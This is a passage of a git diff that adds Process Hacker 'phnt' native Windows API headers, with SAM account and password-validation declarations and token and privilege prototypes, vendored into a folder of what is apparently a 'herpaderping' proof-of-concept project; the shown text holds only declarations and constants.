+ +typedef struct _USER_EXTENDED_INFORMATION +{ + ULONG ExtendedWhichFields; + SAM_USER_TILE UserTile; + UNICODE_STRING PasswordHint; + BOOLEAN DontShowInLogonUI; + SAM_SHELL_OBJECT_PROPERTIES ShellAdminObjectProperties; +} USER_EXTENDED_INFORMATION, *PUSER_EXTENDED_INFORMATION; + +// For local callers only. +typedef struct _USER_LOGON_UI_INFORMATION +{ + BOOLEAN PasswordIsBlank; + BOOLEAN AccountIsDisabled; +} USER_LOGON_UI_INFORMATION, *PUSER_LOGON_UI_INFORMATION; + +// SamChangePasswordUser3 types + +// Error values: +// * SAM_PWD_CHANGE_NO_ERROR +// * SAM_PWD_CHANGE_PASSWORD_TOO_SHORT +// * SAM_PWD_CHANGE_PWD_IN_HISTORY +// * SAM_PWD_CHANGE_USERNAME_IN_PASSWORD +// * SAM_PWD_CHANGE_FULLNAME_IN_PASSWORD +// * SAM_PWD_CHANGE_MACHINE_PASSWORD_NOT_DEFAULT +// * SAM_PWD_CHANGE_FAILED_BY_FILTER + +typedef struct _USER_PWD_CHANGE_FAILURE_INFORMATION +{ + ULONG ExtendedFailureReason; + UNICODE_STRING FilterModuleName; +} USER_PWD_CHANGE_FAILURE_INFORMATION,*PUSER_PWD_CHANGE_FAILURE_INFORMATION; + +// ExtendedFailureReason values + +#define SAM_PWD_CHANGE_NO_ERROR 0 +#define SAM_PWD_CHANGE_PASSWORD_TOO_SHORT 1 +#define SAM_PWD_CHANGE_PWD_IN_HISTORY 2 +#define SAM_PWD_CHANGE_USERNAME_IN_PASSWORD 3 +#define SAM_PWD_CHANGE_FULLNAME_IN_PASSWORD 4 +#define SAM_PWD_CHANGE_NOT_COMPLEX 5 +#define SAM_PWD_CHANGE_MACHINE_PASSWORD_NOT_DEFAULT 6 +#define SAM_PWD_CHANGE_FAILED_BY_FILTER 7 +#define SAM_PWD_CHANGE_PASSWORD_TOO_LONG 8 +#define SAM_PWD_CHANGE_FAILURE_REASON_MAX 8 + +// Functions + +_Check_return_ +NTSTATUS +NTAPI +SamEnumerateUsersInDomain( + _In_ SAM_HANDLE DomainHandle, + _Inout_ PSAM_ENUMERATE_HANDLE EnumerationContext, + _In_ ULONG UserAccountControl, + _Outptr_ PVOID *Buffer, // PSAM_RID_ENUMERATION * + _In_ ULONG PreferedMaximumLength, + _Out_ PULONG CountReturned + ); + +_Check_return_ +NTSTATUS +NTAPI +SamCreateUserInDomain( + _In_ SAM_HANDLE DomainHandle, + _In_ PUNICODE_STRING AccountName, + _In_ ACCESS_MASK DesiredAccess, + _Out_ PSAM_HANDLE UserHandle, + _Out_ PULONG RelativeId + ); + +_Check_return_ +NTSTATUS +NTAPI +SamCreateUser2InDomain( + _In_ SAM_HANDLE DomainHandle, + _In_ PUNICODE_STRING AccountName, + _In_ ULONG AccountType, + _In_ ACCESS_MASK DesiredAccess, + _Out_ PSAM_HANDLE UserHandle, + _Out_ PULONG GrantedAccess, + _Out_ PULONG RelativeId + ); + +_Check_return_ +NTSTATUS +NTAPI +SamOpenUser( + _In_ SAM_HANDLE DomainHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ ULONG UserId, + _Out_ PSAM_HANDLE UserHandle + ); + +_Check_return_ +NTSTATUS +NTAPI +SamDeleteUser( + _In_ SAM_HANDLE UserHandle + ); + +_Check_return_ +NTSTATUS +NTAPI +SamQueryInformationUser( + _In_ SAM_HANDLE UserHandle, + _In_ USER_INFORMATION_CLASS UserInformationClass, + _Outptr_ PVOID *Buffer + ); + +_Check_return_ +NTSTATUS +NTAPI +SamSetInformationUser( + _In_ SAM_HANDLE UserHandle, + _In_ USER_INFORMATION_CLASS UserInformationClass, + _In_ PVOID Buffer + ); + +_Check_return_ +NTSTATUS +NTAPI +SamGetGroupsForUser( + _In_ SAM_HANDLE UserHandle, + _Out_ _Deref_post_count_(*MembershipCount) PGROUP_MEMBERSHIP *Groups, + _Out_ PULONG MembershipCount + ); + +_Check_return_ +NTSTATUS +NTAPI +SamChangePasswordUser( + _In_ SAM_HANDLE UserHandle, + _In_ PUNICODE_STRING OldPassword, + _In_ PUNICODE_STRING NewPassword + ); + +_Check_return_ +NTSTATUS +NTAPI +SamChangePasswordUser2( + _In_ PUNICODE_STRING ServerName, + _In_ PUNICODE_STRING UserName, + _In_ PUNICODE_STRING OldPassword, + _In_ PUNICODE_STRING NewPassword + ); + +_Check_return_ +NTSTATUS +NTAPI +SamChangePasswordUser3( + _In_ PUNICODE_STRING ServerName, + _In_ PUNICODE_STRING UserName, + _In_ PUNICODE_STRING OldPassword, + _In_ PUNICODE_STRING NewPassword, + _Outptr_ PDOMAIN_PASSWORD_INFORMATION *EffectivePasswordPolicy, + _Outptr_ PUSER_PWD_CHANGE_FAILURE_INFORMATION *PasswordChangeFailureInfo + ); + +_Check_return_ +NTSTATUS +NTAPI +SamQueryDisplayInformation( + _In_ SAM_HANDLE DomainHandle, + _In_ DOMAIN_DISPLAY_INFORMATION DisplayInformation, + _In_ ULONG Index, + _In_ ULONG EntryCount, + _In_ ULONG PreferredMaximumLength, + _In_ PULONG TotalAvailable, + _Out_ PULONG TotalReturned, + _Out_ PULONG ReturnedEntryCount, + _Outptr_ PVOID *SortedBuffer + ); + +_Check_return_ +NTSTATUS +NTAPI +SamGetDisplayEnumerationIndex( + _In_ SAM_HANDLE DomainHandle, + _In_ DOMAIN_DISPLAY_INFORMATION DisplayInformation, + _In_ PUNICODE_STRING Prefix, + _Out_ PULONG Index + ); + +// Database replication + +typedef enum _SECURITY_DB_DELTA_TYPE +{ + SecurityDbNew = 1, + SecurityDbRename, + SecurityDbDelete, + SecurityDbChangeMemberAdd, + SecurityDbChangeMemberSet, + SecurityDbChangeMemberDel, + SecurityDbChange, + SecurityDbChangePassword +} SECURITY_DB_DELTA_TYPE, *PSECURITY_DB_DELTA_TYPE; + +typedef enum _SECURITY_DB_OBJECT_TYPE +{ + SecurityDbObjectSamDomain = 1, + SecurityDbObjectSamUser, + SecurityDbObjectSamGroup, + SecurityDbObjectSamAlias, + SecurityDbObjectLsaPolicy, + SecurityDbObjectLsaTDomain, + SecurityDbObjectLsaAccount, + SecurityDbObjectLsaSecret +} SECURITY_DB_OBJECT_TYPE, *PSECURITY_DB_OBJECT_TYPE; + +typedef enum _SAM_ACCOUNT_TYPE +{ + SamObjectUser = 1, + SamObjectGroup, + SamObjectAlias +} SAM_ACCOUNT_TYPE, *PSAM_ACCOUNT_TYPE; + +#define SAM_USER_ACCOUNT (0x00000001) +#define SAM_GLOBAL_GROUP_ACCOUNT (0x00000002) +#define SAM_LOCAL_GROUP_ACCOUNT (0x00000004) + +typedef struct _SAM_GROUP_MEMBER_ID +{ + ULONG MemberRid; +} SAM_GROUP_MEMBER_ID, *PSAM_GROUP_MEMBER_ID; + +typedef struct _SAM_ALIAS_MEMBER_ID +{ + PSID MemberSid; +} SAM_ALIAS_MEMBER_ID, *PSAM_ALIAS_MEMBER_ID; + +typedef union _SAM_DELTA_DATA +{ + SAM_GROUP_MEMBER_ID GroupMemberId; + SAM_ALIAS_MEMBER_ID AliasMemberId; + ULONG AccountControl; +} SAM_DELTA_DATA, *PSAM_DELTA_DATA; + +typedef NTSTATUS (NTAPI *PSAM_DELTA_NOTIFICATION_ROUTINE)( + _In_ PSID DomainSid, + _In_ SECURITY_DB_DELTA_TYPE DeltaType, + _In_ SECURITY_DB_OBJECT_TYPE ObjectType, + _In_ ULONG ObjectRid, + _In_opt_ PUNICODE_STRING ObjectName, + _In_ PLARGE_INTEGER ModifiedCount, + _In_opt_ PSAM_DELTA_DATA DeltaData + ); + +#define SAM_DELTA_NOTIFY_ROUTINE "DeltaNotify" + +_Check_return_ +NTSTATUS +NTAPI +SamRegisterObjectChangeNotification( + _In_ SECURITY_DB_OBJECT_TYPE ObjectType, + _In_ HANDLE NotificationEventHandle + ); + +NTSTATUS +NTAPI +SamUnregisterObjectChangeNotification( + _In_ SECURITY_DB_OBJECT_TYPE ObjectType, + _In_ HANDLE NotificationEventHandle + ); + +// Compatibility mode + +#define SAM_SID_COMPATIBILITY_ALL 0 +#define SAM_SID_COMPATIBILITY_LAX 1 +#define SAM_SID_COMPATIBILITY_STRICT 2 + +_Check_return_ +NTSTATUS +NTAPI +SamGetCompatibilityMode( + _In_ SAM_HANDLE ObjectHandle, + _Out_ ULONG *Mode + ); + +// Password validation + +typedef enum _PASSWORD_POLICY_VALIDATION_TYPE +{ + SamValidateAuthentication = 1, + SamValidatePasswordChange, + SamValidatePasswordReset +} PASSWORD_POLICY_VALIDATION_TYPE; + +typedef struct _SAM_VALIDATE_PASSWORD_HASH +{ + ULONG Length; + _Field_size_bytes_(Length) PUCHAR Hash; +} SAM_VALIDATE_PASSWORD_HASH, *PSAM_VALIDATE_PASSWORD_HASH; + +// Flags for PresentFields in SAM_VALIDATE_PERSISTED_FIELDS + +#define SAM_VALIDATE_PASSWORD_LAST_SET 0x00000001 +#define SAM_VALIDATE_BAD_PASSWORD_TIME 0x00000002 +#define SAM_VALIDATE_LOCKOUT_TIME 0x00000004 +#define SAM_VALIDATE_BAD_PASSWORD_COUNT 0x00000008 +#define SAM_VALIDATE_PASSWORD_HISTORY_LENGTH 0x00000010 +#define SAM_VALIDATE_PASSWORD_HISTORY 0x00000020 + +typedef struct _SAM_VALIDATE_PERSISTED_FIELDS +{ + ULONG PresentFields; + LARGE_INTEGER PasswordLastSet; + LARGE_INTEGER BadPasswordTime; + LARGE_INTEGER LockoutTime; + ULONG BadPasswordCount; + ULONG PasswordHistoryLength; + _Field_size_bytes_(PasswordHistoryLength) PSAM_VALIDATE_PASSWORD_HASH PasswordHistory; +} SAM_VALIDATE_PERSISTED_FIELDS, *PSAM_VALIDATE_PERSISTED_FIELDS; + +typedef enum _SAM_VALIDATE_VALIDATION_STATUS +{ + SamValidateSuccess = 0, + SamValidatePasswordMustChange, + SamValidateAccountLockedOut, + SamValidatePasswordExpired, + SamValidatePasswordIncorrect, + SamValidatePasswordIsInHistory, + SamValidatePasswordTooShort, + SamValidatePasswordTooLong, + SamValidatePasswordNotComplexEnough, + SamValidatePasswordTooRecent, + SamValidatePasswordFilterError +} SAM_VALIDATE_VALIDATION_STATUS, *PSAM_VALIDATE_VALIDATION_STATUS; + +typedef struct _SAM_VALIDATE_STANDARD_OUTPUT_ARG +{ + SAM_VALIDATE_PERSISTED_FIELDS ChangedPersistedFields; + SAM_VALIDATE_VALIDATION_STATUS ValidationStatus; +} SAM_VALIDATE_STANDARD_OUTPUT_ARG, *PSAM_VALIDATE_STANDARD_OUTPUT_ARG; + +typedef struct _SAM_VALIDATE_AUTHENTICATION_INPUT_ARG +{ + SAM_VALIDATE_PERSISTED_FIELDS InputPersistedFields; + BOOLEAN PasswordMatched; +} SAM_VALIDATE_AUTHENTICATION_INPUT_ARG, *PSAM_VALIDATE_AUTHENTICATION_INPUT_ARG; + +typedef struct _SAM_VALIDATE_PASSWORD_CHANGE_INPUT_ARG +{ + SAM_VALIDATE_PERSISTED_FIELDS InputPersistedFields; + UNICODE_STRING ClearPassword; + UNICODE_STRING UserAccountName; + SAM_VALIDATE_PASSWORD_HASH HashedPassword; + BOOLEAN PasswordMatch; // denotes if the old password supplied by user matched or not +} SAM_VALIDATE_PASSWORD_CHANGE_INPUT_ARG, *PSAM_VALIDATE_PASSWORD_CHANGE_INPUT_ARG; + +typedef struct _SAM_VALIDATE_PASSWORD_RESET_INPUT_ARG +{ + SAM_VALIDATE_PERSISTED_FIELDS InputPersistedFields; + UNICODE_STRING ClearPassword; + UNICODE_STRING UserAccountName; + SAM_VALIDATE_PASSWORD_HASH HashedPassword; + BOOLEAN PasswordMustChangeAtNextLogon; // looked at only for password reset + BOOLEAN ClearLockout; // can be used clear user account lockout +}SAM_VALIDATE_PASSWORD_RESET_INPUT_ARG, *PSAM_VALIDATE_PASSWORD_RESET_INPUT_ARG; + +typedef union _SAM_VALIDATE_INPUT_ARG +{ + SAM_VALIDATE_AUTHENTICATION_INPUT_ARG ValidateAuthenticationInput; + SAM_VALIDATE_PASSWORD_CHANGE_INPUT_ARG ValidatePasswordChangeInput; + SAM_VALIDATE_PASSWORD_RESET_INPUT_ARG ValidatePasswordResetInput; +} SAM_VALIDATE_INPUT_ARG, *PSAM_VALIDATE_INPUT_ARG; + +typedef union _SAM_VALIDATE_OUTPUT_ARG +{ + SAM_VALIDATE_STANDARD_OUTPUT_ARG ValidateAuthenticationOutput; + SAM_VALIDATE_STANDARD_OUTPUT_ARG ValidatePasswordChangeOutput; + SAM_VALIDATE_STANDARD_OUTPUT_ARG ValidatePasswordResetOutput; +} SAM_VALIDATE_OUTPUT_ARG, *PSAM_VALIDATE_OUTPUT_ARG; + +_Check_return_ +NTSTATUS +NTAPI +SamValidatePassword( + _In_opt_ PUNICODE_STRING ServerName, + _In_ PASSWORD_POLICY_VALIDATION_TYPE ValidationType, + _In_ PSAM_VALIDATE_INPUT_ARG InputArg, + _Out_ PSAM_VALIDATE_OUTPUT_ARG *OutputArg + ); + +// Generic operation + +typedef enum _SAM_GENERIC_OPERATION_TYPE +{ + SamObjectChangeNotificationOperation +} SAM_GENERIC_OPERATION_TYPE, *PSAM_GENERIC_OPERATION_TYPE; + +typedef struct _SAM_OPERATION_OBJCHG_INPUT +{ + BOOLEAN Register; + ULONG64 EventHandle; + SECURITY_DB_OBJECT_TYPE ObjectType; + ULONG ProcessID; +} SAM_OPERATION_OBJCHG_INPUT, *PSAM_OPERATION_OBJCHG_INPUT; + +typedef struct _SAM_OPERATION_OBJCHG_OUTPUT +{ + ULONG Reserved; +} SAM_OPERATION_OBJCHG_OUTPUT, *PSAM_OPERATION_OBJCHG_OUTPUT; + +typedef union _SAM_GENERIC_OPERATION_INPUT +{ + SAM_OPERATION_OBJCHG_INPUT ObjChangeIn; +} SAM_GENERIC_OPERATION_INPUT, *PSAM_GENERIC_OPERATION_INPUT; + +typedef union _SAM_GENERIC_OPERATION_OUTPUT +{ + SAM_OPERATION_OBJCHG_OUTPUT ObjChangeOut; +} SAM_GENERIC_OPERATION_OUTPUT, *PSAM_GENERIC_OPERATION_OUTPUT; + +_Check_return_ +NTSTATUS +NTAPI +SamPerformGenericOperation( + _In_opt_ PWSTR ServerName, + _In_ SAM_GENERIC_OPERATION_TYPE OperationType, + _In_ PSAM_GENERIC_OPERATION_INPUT OperationIn, + _Out_ PSAM_GENERIC_OPERATION_OUTPUT *OperationOut + ); + +#endif diff --git a/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/ntseapi.h b/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/ntseapi.h new file mode 100644 index 00000000..d14a44d7 --- /dev/null +++ b/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/ntseapi.h @@ -0,0 +1,630 @@ +/* + * This file is part of the Process Hacker project - https://processhacker.sourceforge.io/ + * + * You can redistribute this file and/or modify it under the terms of the + * Attribution 4.0 International (CC BY 4.0) license. + * + * You must give appropriate credit, provide a link to the license, and + * indicate if changes were made. You may do so in any reasonable manner, but + * not in any way that suggests the licensor endorses you or your use. + */ + +#ifndef _NTSEAPI_H +#define _NTSEAPI_H + +// Privileges + +#define SE_MIN_WELL_KNOWN_PRIVILEGE (2L) +#define SE_CREATE_TOKEN_PRIVILEGE (2L) +#define SE_ASSIGNPRIMARYTOKEN_PRIVILEGE (3L) +#define SE_LOCK_MEMORY_PRIVILEGE (4L) +#define SE_INCREASE_QUOTA_PRIVILEGE (5L) + +#define SE_MACHINE_ACCOUNT_PRIVILEGE (6L) +#define SE_TCB_PRIVILEGE (7L) +#define SE_SECURITY_PRIVILEGE (8L) +#define SE_TAKE_OWNERSHIP_PRIVILEGE (9L) +#define SE_LOAD_DRIVER_PRIVILEGE (10L) +#define SE_SYSTEM_PROFILE_PRIVILEGE (11L) +#define SE_SYSTEMTIME_PRIVILEGE (12L) +#define SE_PROF_SINGLE_PROCESS_PRIVILEGE (13L) +#define SE_INC_BASE_PRIORITY_PRIVILEGE (14L) +#define SE_CREATE_PAGEFILE_PRIVILEGE (15L) +#define SE_CREATE_PERMANENT_PRIVILEGE (16L) +#define SE_BACKUP_PRIVILEGE (17L) +#define SE_RESTORE_PRIVILEGE (18L) +#define SE_SHUTDOWN_PRIVILEGE (19L) +#define SE_DEBUG_PRIVILEGE (20L) +#define SE_AUDIT_PRIVILEGE (21L) +#define SE_SYSTEM_ENVIRONMENT_PRIVILEGE (22L) +#define SE_CHANGE_NOTIFY_PRIVILEGE (23L) +#define SE_REMOTE_SHUTDOWN_PRIVILEGE (24L) +#define SE_UNDOCK_PRIVILEGE (25L) +#define SE_SYNC_AGENT_PRIVILEGE (26L) +#define SE_ENABLE_DELEGATION_PRIVILEGE (27L) +#define SE_MANAGE_VOLUME_PRIVILEGE (28L) +#define SE_IMPERSONATE_PRIVILEGE (29L) +#define SE_CREATE_GLOBAL_PRIVILEGE (30L) +#define SE_TRUSTED_CREDMAN_ACCESS_PRIVILEGE (31L) +#define SE_RELABEL_PRIVILEGE (32L) +#define SE_INC_WORKING_SET_PRIVILEGE (33L) +#define SE_TIME_ZONE_PRIVILEGE (34L) +#define SE_CREATE_SYMBOLIC_LINK_PRIVILEGE (35L) +#define SE_DELEGATE_SESSION_USER_IMPERSONATE_PRIVILEGE (36L) +#define SE_MAX_WELL_KNOWN_PRIVILEGE SE_DELEGATE_SESSION_USER_IMPERSONATE_PRIVILEGE + +// Authz + +// begin_rev + +// Types + +#define TOKEN_SECURITY_ATTRIBUTE_TYPE_INVALID 0x00 +#define TOKEN_SECURITY_ATTRIBUTE_TYPE_INT64 0x01 +#define TOKEN_SECURITY_ATTRIBUTE_TYPE_UINT64 0x02 +#define TOKEN_SECURITY_ATTRIBUTE_TYPE_STRING 0x03 +#define TOKEN_SECURITY_ATTRIBUTE_TYPE_FQBN 0x04 +#define TOKEN_SECURITY_ATTRIBUTE_TYPE_SID 0x05 +#define TOKEN_SECURITY_ATTRIBUTE_TYPE_BOOLEAN 0x06 +#define TOKEN_SECURITY_ATTRIBUTE_TYPE_OCTET_STRING 0x10 + +// Flags + +#define TOKEN_SECURITY_ATTRIBUTE_NON_INHERITABLE 0x0001 +#define TOKEN_SECURITY_ATTRIBUTE_VALUE_CASE_SENSITIVE 0x0002 +#define TOKEN_SECURITY_ATTRIBUTE_USE_FOR_DENY_ONLY 0x0004 +#define TOKEN_SECURITY_ATTRIBUTE_DISABLED_BY_DEFAULT 0x0008 +#define TOKEN_SECURITY_ATTRIBUTE_DISABLED 0x0010 +#define TOKEN_SECURITY_ATTRIBUTE_MANDATORY 0x0020 +#define TOKEN_SECURITY_ATTRIBUTE_COMPARE_IGNORE 0x0040 + +#define TOKEN_SECURITY_ATTRIBUTE_VALID_FLAGS ( \ + TOKEN_SECURITY_ATTRIBUTE_NON_INHERITABLE | \ + TOKEN_SECURITY_ATTRIBUTE_VALUE_CASE_SENSITIVE | \ + TOKEN_SECURITY_ATTRIBUTE_USE_FOR_DENY_ONLY | \ + TOKEN_SECURITY_ATTRIBUTE_DISABLED_BY_DEFAULT | \ + TOKEN_SECURITY_ATTRIBUTE_DISABLED | \ + TOKEN_SECURITY_ATTRIBUTE_MANDATORY) + +#define TOKEN_SECURITY_ATTRIBUTE_CUSTOM_FLAGS 0xffff0000 + +// end_rev + +// private +typedef struct _TOKEN_SECURITY_ATTRIBUTE_FQBN_VALUE +{ + ULONG64 Version; + UNICODE_STRING Name; +} TOKEN_SECURITY_ATTRIBUTE_FQBN_VALUE, *PTOKEN_SECURITY_ATTRIBUTE_FQBN_VALUE; + +// private +typedef struct _TOKEN_SECURITY_ATTRIBUTE_OCTET_STRING_VALUE +{ + PVOID pValue; + ULONG ValueLength; +} TOKEN_SECURITY_ATTRIBUTE_OCTET_STRING_VALUE, *PTOKEN_SECURITY_ATTRIBUTE_OCTET_STRING_VALUE; + +// private +typedef struct _TOKEN_SECURITY_ATTRIBUTE_V1 +{ + UNICODE_STRING Name; + USHORT ValueType; + USHORT Reserved; + ULONG Flags; + ULONG ValueCount; + union + { + PLONG64 pInt64; + PULONG64 pUint64; + PUNICODE_STRING pString; + PTOKEN_SECURITY_ATTRIBUTE_FQBN_VALUE pFqbn; + PTOKEN_SECURITY_ATTRIBUTE_OCTET_STRING_VALUE pOctetString; + } Values; +} TOKEN_SECURITY_ATTRIBUTE_V1, *PTOKEN_SECURITY_ATTRIBUTE_V1; + +// rev +#define TOKEN_SECURITY_ATTRIBUTES_INFORMATION_VERSION_V1 1 +// rev +#define TOKEN_SECURITY_ATTRIBUTES_INFORMATION_VERSION TOKEN_SECURITY_ATTRIBUTES_INFORMATION_VERSION_V1 + +// private +typedef struct _TOKEN_SECURITY_ATTRIBUTES_INFORMATION +{ + USHORT Version; + USHORT Reserved; + ULONG AttributeCount; + union + { + PTOKEN_SECURITY_ATTRIBUTE_V1 pAttributeV1; + } Attribute; +} TOKEN_SECURITY_ATTRIBUTES_INFORMATION, *PTOKEN_SECURITY_ATTRIBUTES_INFORMATION; + +// rev +typedef struct _TOKEN_PROCESS_TRUST_LEVEL +{ + PSID TrustLevelSid; +} TOKEN_PROCESS_TRUST_LEVEL, *PTOKEN_PROCESS_TRUST_LEVEL; + +// Tokens + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateToken( + _Out_ PHANDLE TokenHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ TOKEN_TYPE TokenType, + _In_ PLUID AuthenticationId, + _In_ PLARGE_INTEGER ExpirationTime, + _In_ PTOKEN_USER User, + _In_ PTOKEN_GROUPS Groups, + _In_ PTOKEN_PRIVILEGES Privileges, + _In_opt_ PTOKEN_OWNER Owner, + _In_ PTOKEN_PRIMARY_GROUP PrimaryGroup, + _In_opt_ PTOKEN_DEFAULT_DACL DefaultDacl, + _In_ PTOKEN_SOURCE TokenSource + ); + +#if (PHNT_VERSION >= PHNT_WIN8) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateLowBoxToken( + _Out_ PHANDLE TokenHandle, + _In_ HANDLE ExistingTokenHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ PSID PackageSid, + _In_ ULONG CapabilityCount, + _In_reads_opt_(CapabilityCount) PSID_AND_ATTRIBUTES Capabilities, + _In_ ULONG HandleCount, + _In_reads_opt_(HandleCount) HANDLE *Handles + ); +#endif + +#if (PHNT_VERSION >= PHNT_WIN8) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateTokenEx( + _Out_ PHANDLE TokenHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ TOKEN_TYPE TokenType, + _In_ PLUID AuthenticationId, + _In_ PLARGE_INTEGER ExpirationTime, + _In_ PTOKEN_USER User, + _In_ PTOKEN_GROUPS Groups, + _In_ PTOKEN_PRIVILEGES Privileges, + _In_opt_ PTOKEN_SECURITY_ATTRIBUTES_INFORMATION UserAttributes, + _In_opt_ PTOKEN_SECURITY_ATTRIBUTES_INFORMATION DeviceAttributes, + _In_opt_ PTOKEN_GROUPS DeviceGroups, + _In_opt_ PTOKEN_MANDATORY_POLICY TokenMandatoryPolicy, + _In_opt_ PTOKEN_OWNER Owner, + _In_ PTOKEN_PRIMARY_GROUP PrimaryGroup, + _In_opt_ PTOKEN_DEFAULT_DACL DefaultDacl, + _In_ PTOKEN_SOURCE TokenSource + ); +#endif + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenProcessToken( + _In_ HANDLE ProcessHandle, + _In_ ACCESS_MASK DesiredAccess, + _Out_ PHANDLE TokenHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenProcessTokenEx( + _In_ HANDLE ProcessHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ ULONG HandleAttributes, + _Out_ PHANDLE TokenHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenThreadToken( + _In_ HANDLE ThreadHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ BOOLEAN OpenAsSelf, + _Out_ PHANDLE TokenHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenThreadTokenEx( + _In_ HANDLE ThreadHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ BOOLEAN OpenAsSelf, + _In_ ULONG HandleAttributes, + _Out_ PHANDLE TokenHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtDuplicateToken( + _In_ HANDLE ExistingTokenHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ BOOLEAN EffectiveOnly, + _In_ TOKEN_TYPE TokenType, + _Out_ PHANDLE NewTokenHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryInformationToken( + _In_ HANDLE TokenHandle, + _In_ TOKEN_INFORMATION_CLASS TokenInformationClass, + _Out_writes_bytes_(TokenInformationLength) PVOID TokenInformation, + _In_ ULONG TokenInformationLength, + _Out_ PULONG ReturnLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetInformationToken( + _In_ HANDLE TokenHandle, + _In_ TOKEN_INFORMATION_CLASS TokenInformationClass, + _In_reads_bytes_(TokenInformationLength) PVOID TokenInformation, + _In_ ULONG TokenInformationLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtAdjustPrivilegesToken( + _In_ HANDLE TokenHandle, + _In_ BOOLEAN DisableAllPrivileges, + _In_opt_ PTOKEN_PRIVILEGES NewState, + _In_ ULONG BufferLength, + _Out_writes_bytes_to_opt_(BufferLength, *ReturnLength) PTOKEN_PRIVILEGES PreviousState, + _Out_opt_ PULONG ReturnLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtAdjustGroupsToken( + _In_ HANDLE TokenHandle, + _In_ BOOLEAN ResetToDefault, + _In_opt_ PTOKEN_GROUPS NewState, + _In_opt_ ULONG BufferLength, + _Out_writes_bytes_to_opt_(BufferLength, *ReturnLength) PTOKEN_GROUPS PreviousState, + _Out_opt_ PULONG ReturnLength + ); + +#if (PHNT_VERSION >= PHNT_WIN8) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtAdjustTokenClaimsAndDeviceGroups( + _In_ HANDLE TokenHandle, + _In_ BOOLEAN UserResetToDefault, + _In_ BOOLEAN DeviceResetToDefault, + _In_ BOOLEAN DeviceGroupsResetToDefault, + _In_opt_ PTOKEN_SECURITY_ATTRIBUTES_INFORMATION NewUserState, + _In_opt_ PTOKEN_SECURITY_ATTRIBUTES_INFORMATION NewDeviceState, + _In_opt_ PTOKEN_GROUPS NewDeviceGroupsState, + _In_ ULONG UserBufferLength, + _Out_writes_bytes_to_opt_(UserBufferLength, *UserReturnLength) PTOKEN_SECURITY_ATTRIBUTES_INFORMATION PreviousUserState, + _In_ ULONG DeviceBufferLength, + _Out_writes_bytes_to_opt_(DeviceBufferLength, *DeviceReturnLength) PTOKEN_SECURITY_ATTRIBUTES_INFORMATION PreviousDeviceState, + _In_ ULONG DeviceGroupsBufferLength, + _Out_writes_bytes_to_opt_(DeviceGroupsBufferLength, *DeviceGroupsReturnBufferLength) PTOKEN_GROUPS PreviousDeviceGroups, + _Out_opt_ PULONG UserReturnLength, + _Out_opt_ PULONG DeviceReturnLength, + _Out_opt_ PULONG DeviceGroupsReturnBufferLength + ); +#endif + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtFilterToken( + _In_ HANDLE ExistingTokenHandle, + _In_ ULONG Flags, + _In_opt_ PTOKEN_GROUPS SidsToDisable, + _In_opt_ PTOKEN_PRIVILEGES PrivilegesToDelete, + _In_opt_ PTOKEN_GROUPS RestrictedSids, + _Out_ PHANDLE NewTokenHandle + ); + +#if (PHNT_VERSION >= PHNT_WIN8) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtFilterTokenEx( + _In_ HANDLE ExistingTokenHandle, + _In_ ULONG Flags, + _In_opt_ PTOKEN_GROUPS SidsToDisable, + _In_opt_ PTOKEN_PRIVILEGES PrivilegesToDelete, + _In_opt_ PTOKEN_GROUPS RestrictedSids, + _In_ ULONG DisableUserClaimsCount, + _In_opt_ PUNICODE_STRING UserClaimsToDisable, + _In_ ULONG DisableDeviceClaimsCount, + _In_opt_ PUNICODE_STRING DeviceClaimsToDisable, + _In_opt_ PTOKEN_GROUPS DeviceGroupsToDisable, + _In_opt_ PTOKEN_SECURITY_ATTRIBUTES_INFORMATION RestrictedUserAttributes, + _In_opt_ PTOKEN_SECURITY_ATTRIBUTES_INFORMATION RestrictedDeviceAttributes, + _In_opt_ PTOKEN_GROUPS RestrictedDeviceGroups, + _Out_ PHANDLE NewTokenHandle + ); +#endif + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCompareTokens( + _In_ HANDLE FirstTokenHandle, + _In_ HANDLE SecondTokenHandle, + _Out_ PBOOLEAN Equal + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtPrivilegeCheck( + _In_ HANDLE ClientToken, + _Inout_ PPRIVILEGE_SET RequiredPrivileges, + _Out_ PBOOLEAN Result + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtImpersonateAnonymousToken( + _In_ HANDLE ThreadHandle + ); + +#if (PHNT_VERSION >= PHNT_WIN7) +// rev +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQuerySecurityAttributesToken( + _In_ HANDLE TokenHandle, + _In_reads_opt_(NumberOfAttributes) PUNICODE_STRING Attributes, + _In_ ULONG NumberOfAttributes, + _Out_writes_bytes_(Length) PVOID Buffer, // PTOKEN_SECURITY_ATTRIBUTES_INFORMATION + _In_ ULONG Length, + _Out_ PULONG 